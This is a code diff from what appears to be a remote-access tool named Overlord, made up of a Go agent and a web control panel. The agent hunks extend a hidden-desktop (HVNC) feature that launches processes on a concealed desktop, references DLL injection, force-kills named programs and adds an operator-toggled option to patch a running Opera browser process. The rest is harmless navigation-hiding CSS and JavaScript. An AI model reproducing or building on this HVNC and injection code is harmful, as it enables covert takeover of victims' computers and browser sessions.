diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
index d29d295..92b5f72 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go
@@ -27,7 +27,7 @@ func HVNCMonitorCount() int {
return 0
}
-func StartHVNCProcess(filePath string) error {
+func StartHVNCProcess(filePath string, operaPatch bool) error {
return errors.New("HVNC not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
index 5b57d3f..e75622c 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go
@@ -479,7 +479,7 @@ func ensureHVNCThread() error {
var result hvncTaskResult
switch task.kind {
case hvncTaskStartProcess:
- result.err = startHVNCProcessOnThread(task.filePath)
+ result.pid, result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
@@ -535,7 +535,7 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) {
return result.img, result.err
}
-func StartHVNCProcess(filePath string) error {
+func StartHVNCProcess(filePath string, operaPatch bool) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
@@ -546,7 +546,13 @@ func StartHVNCProcess(filePath string) error {
if err != nil {
return err
}
- return result.err
+ if result.err != nil {
+ return result.err
+ }
+ if operaPatch && result.pid != 0 {
+ go patchOperaAsync(result.pid, 5, 2*time.Second)
+ }
+ return nil
}
func HVNCAutoStartExplorer() error {
@@ -863,18 +869,18 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
return img, nil
}
-func startHVNCProcessOnThread(filePath string) error {
+func startHVNCProcessOnThread(filePath string) (uint32, error) {
if filePath == "" {
- return fmt.Errorf("empty file path")
+ return 0, fmt.Errorf("empty file path")
}
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
- return fmt.Errorf("failed to convert desktop name: %v", err)
+ return 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
cmdLine, err := syscall.UTF16FromString(filePath)
if err != nil {
- return fmt.Errorf("failed to convert command line: %v", err)
+ return 0, fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
@@ -898,11 +904,11 @@ func startHVNCProcessOnThread(filePath string) error {
)
if ret == 0 {
if callErr != nil {
- return fmt.Errorf("CreateProcess failed: %v", callErr)
+ return 0, fmt.Errorf("CreateProcess failed: %v", callErr)
}
- return fmt.Errorf("CreateProcess failed")
+ return 0, fmt.Errorf("CreateProcess failed")
}
- return nil
+ return pi.dwProcessId, nil
}
func hvncAutoStartExplorerOnThread() error {
@@ -917,7 +923,7 @@ func hvncAutoStartExplorerOnThread() error {
}
log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe")
- err := startHVNCProcessOnThread("explorer.exe")
+ _, err := startHVNCProcessOnThread("explorer.exe")
if err != nil {
return fmt.Errorf("auto-start explorer failed: %w", err)
}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index 5d07b6c..b8c1243 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1451,6 +1451,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
killExe := ""
+ operaPatch := false
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
@@ -1458,15 +1459,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["kill_exe"].(string); ok {
killExe = v
}
+ if v, ok := payload["opera_patch"].(bool); ok {
+ operaPatch = v
+ }
}
- log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe)
+ log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() {
if killExe != "" {
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
}
- if err := capture.StartHVNCProcess(filePath); err != nil {
+ if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
}
})
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index 178ea08..07eb109 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -1108,7 +1108,12 @@ import { checkFeatureAccess } from "./feature-gate.js";
class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
+ class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" />
+
@@ -1126,7 +1131,8 @@ import { checkFeatureAccess } from "./feature-gate.js";
if (!exePath) return;
const args = argsInput.value.trim();
const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`;
- sendCmd("hvnc_start_process", { path: cmd });
+ const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked;
+ sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch });
close();
}
document.getElementById("hvncCustomExeRun").addEventListener("click", run);
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
index 401284a..8f731dc 100644
--- a/Overlord-Server/public/assets/main.css
+++ b/Overlord-Server/public/assets/main.css
@@ -2609,3 +2609,102 @@ body.sb-collapsed .sb-link-child {
.sb-badge:not(.hidden) {
display: inline-flex;
}
+
+/* ============================================================
+ NAV HIDE / REVEAL
+ ============================================================ */
+
+/* ---- Shared reveal pill ---- */
+#nav-reveal-btn {
+ position: fixed;
+ z-index: 60;
+ display: none; /* hidden until nav-hidden */
+ align-items: center;
+ justify-content: center;
+ width: 28px;
+ height: 28px;
+ border-radius: 8px;
+ background: rgba(15, 23, 42, 0.85);
+ border: 1px solid rgba(255, 255, 255, 0.1);
+ backdrop-filter: blur(12px);
+ -webkit-backdrop-filter: blur(12px);
+ color: #64748b;
+ font-size: 0.7rem;
+ cursor: pointer;
+ opacity: 0;
+ transition: opacity 0.25s ease, color 0.15s, background 0.15s, transform 0.2s ease;
+ pointer-events: none;
+}
+#nav-reveal-btn:hover {
+ background: rgba(30, 41, 59, 0.95);
+ color: #e2e8f0;
+ transform: scale(1.08);
+}
+#nav-reveal-btn:focus-visible {
+ outline: 2px solid #3b82f6;
+ outline-offset: 2px;
+}
+
+/* ---- Topbar hidden state ---- */
+body.nav-hidden:not(.sb-ready) #top-nav {
+ transform: translateY(-100%);
+ pointer-events: none;
+ transition: transform 0.3s var(--sb-ease, cubic-bezier(0.4, 0, 0.2, 1));
+}
+body.nav-hidden:not(.sb-ready) #nav-reveal-btn {
+ display: flex;
+ opacity: 1;
+ pointer-events: auto;
+ top: 8px;
+ left: 8px;
+}
+
+/* ---- Sidebar hidden state ---- */
+body.sb-ready.nav-hidden {
+ padding-left: 0 !important;
+ transition: padding-left 0.3s var(--sb-ease);
+}
+body.sb-ready.nav-hidden #top-nav {
+ transform: translateX(calc(-1 * var(--sb-w) - 2px));
+ pointer-events: none;
+ transition: transform 0.3s var(--sb-ease), width var(--sb-speed) var(--sb-ease);
+}
+body.sb-ready.nav-hidden #sb-mobile-bar {
+ transform: translateY(-100%);
+ pointer-events: none;
+ transition: transform 0.3s var(--sb-ease);
+}
+body.sb-ready.nav-hidden #nav-reveal-btn {
+ display: flex;
+ opacity: 1;
+ pointer-events: auto;
+ top: 8px;
+ left: 8px;
+}
+
+/* ---- Reveal-on-hover edge strip (sidebar mode) ---- */
+body.sb-ready.nav-hidden #nav-reveal-btn {
+ transition: opacity 0.3s ease 0.1s, color 0.15s, background 0.15s, transform 0.2s ease;
+}
+
+/* Tooltip on reveal button */
+#nav-reveal-btn::after {
+ content: attr(data-tooltip);
+ position: absolute;
+ left: calc(100% + 8px);
+ top: 50%;
+ transform: translateY(-50%);
+ white-space: nowrap;
+ font-size: 0.7rem;
+ color: #94a3b8;
+ background: rgba(15, 23, 42, 0.92);
+ border: 1px solid rgba(255, 255, 255, 0.08);
+ border-radius: 6px;
+ padding: 4px 8px;
+ pointer-events: none;
+ opacity: 0;
+ transition: opacity 0.15s;
+}
+#nav-reveal-btn:hover::after {
+ opacity: 1;
+}
diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js
index 1cdd904..232ee1f 100644
--- a/Overlord-Server/public/assets/nav.js
+++ b/Overlord-Server/public/assets/nav.js
@@ -16,7 +16,11 @@ const host = document.getElementById("top-nav");
if (host) {
const refs = mountNav(host);
showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host);
- const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs);
+ const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs);
+
+ if (refs.navHideBtn && navHide) {
+ refs.navHideBtn.addEventListener("click", () => navHide.setHidden(true));
+ }
const path = window.location.pathname;
const activeMap = {
diff --git a/Overlord-Server/public/assets/nav/layout.js b/Overlord-Server/public/assets/nav/layout.js
index 3bd0b82..21b28bc 100644
--- a/Overlord-Server/public/assets/nav/layout.js
+++ b/Overlord-Server/public/assets/nav/layout.js
@@ -1,8 +1,52 @@
import { NAV_MODE_KEY } from "./template.js";
const LS_KEY = "sb_collapsed";
+const NAV_HIDDEN_KEY = "nav_hidden";
const MOBILE_BP = 768;
+/* ──────────────────────────────────────────────
+ NAV HIDE / REVEAL — shared across both modes
+ ────────────────────────────────────────────── */
+
+function createNavHideController() {
+ let hidden = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
+
+ // Create reveal button (injected into body)
+ const revealBtn = document.createElement("button");
+ revealBtn.id = "nav-reveal-btn";
+ revealBtn.setAttribute("aria-label", "Show navigation");
+ const isMac = /Mac|iPhone|iPad/.test(navigator.platform || "");
+ revealBtn.dataset.tooltip = `Show nav ${isMac ? "⌘" : "Ctrl"}+\\`;
+ revealBtn.innerHTML = '';
+ document.body.appendChild(revealBtn);
+
+ function setHidden(val) {
+ hidden = val;
+ localStorage.setItem(NAV_HIDDEN_KEY, String(val));
+ document.body.classList.toggle("nav-hidden", val);
+ }
+
+ function toggle() {
+ setHidden(!hidden);
+ }
+
+ // Apply persisted state
+ if (hidden) document.body.classList.add("nav-hidden");
+
+ // Click the reveal button → show nav
+ revealBtn.addEventListener("click", () => { if (hidden) setHidden(false); });
+
+ // Keyboard shortcut: Ctrl+\ (or Cmd+\ on Mac)
+ document.addEventListener("keydown", (e) => {
+ if ((e.ctrlKey || e.metaKey) && e.key === "\\") {
+ e.preventDefault();
+ toggle();
+ }
+ });
+
+ return { toggle, isHidden: () => hidden, setHidden };
+}
+
/* ──────────────────────────────────────────────
TOPBAR DROPDOWN LOGIC
────────────────────────────────────────────── */
@@ -241,9 +285,15 @@ function createSidebarController(host, refs) {
export function createAdaptiveNavController(host, refs) {
const mode = localStorage.getItem(NAV_MODE_KEY);
- if (mode === "sidebar") {
- return createSidebarController(host, refs);
- }
- return createTopbarController(host, refs);
+ const navCtrl = mode === "sidebar"
+ ? createSidebarController(host, refs)
+ : createTopbarController(host, refs);
+
+ const hideCtrl = createNavHideController();
+
+ return {
+ applyAdaptiveNavLayout: navCtrl.applyAdaptiveNavLayout,
+ navHide: hideCtrl,
+ };
}
diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js
index 4679752..5e9f61b 100644
--- a/Overlord-Server/public/assets/nav/template.js
+++ b/Overlord-Server/public/assets/nav/template.js
@@ -161,6 +161,11 @@ function mountTopbar(host) {
title="Logout" aria-label="Logout">
+
@@ -180,6 +185,7 @@ function mountTopbar(host) {
usernameDisplay: document.getElementById("username-display"),
roleBadge: document.getElementById("role-badge"),
enrollmentBadge: document.getElementById("enrollment-badge"),
+ navHideBtn: document.getElementById("nav-hide-btn"),
};
// Add individual link refs
@@ -293,6 +299,11 @@ function mountSidebar(host) {
Logout
+
`;
@@ -329,6 +340,7 @@ function mountSidebar(host) {
usernameDisplay: document.getElementById("username-display"),
roleBadge: document.getElementById("role-badge"),
enrollmentBadge: document.getElementById("enrollment-badge"),
+ navHideBtn: document.getElementById("nav-hide-btn"),
};
// Convenience refs expected by nav.js
diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index 2507342..e7438b2 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -8,6 +8,7 @@ import {
const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds";
const NAV_MODE_KEY = "sb_mode";
+const NAV_HIDDEN_KEY = "nav_hidden";
const usernameEl = document.getElementById("settings-username");
const roleEl = document.getElementById("settings-role");
@@ -302,6 +303,11 @@ function loadPrefs() {
if (sidebarBtn && topbarBtn) {
updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn);
}
+
+ const navHiddenInput = document.getElementById("pref-nav-hidden");
+ if (navHiddenInput) {
+ navHiddenInput.checked = localStorage.getItem(NAV_HIDDEN_KEY) === "true";
+ }
}
async function loadCurrentUser() {
@@ -389,6 +395,11 @@ function savePrefs(event) {
showMessage("Preferences saved.");
}
+ const navHiddenInput = document.getElementById("pref-nav-hidden");
+ if (navHiddenInput) {
+ localStorage.setItem(NAV_HIDDEN_KEY, String(navHiddenInput.checked));
+ document.body.classList.toggle("nav-hidden", navHiddenInput.checked);
+ }
}
async function saveSecurityPolicy(event) {
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html
index 356b46e..2296caa 100644
--- a/Overlord-Server/public/settings.html
+++ b/Overlord-Server/public/settings.html
@@ -353,6 +353,15 @@
Changes apply immediately on save.
+
+
Visibility
+
+
Press Ctrl+\ to toggle anytime.
+
+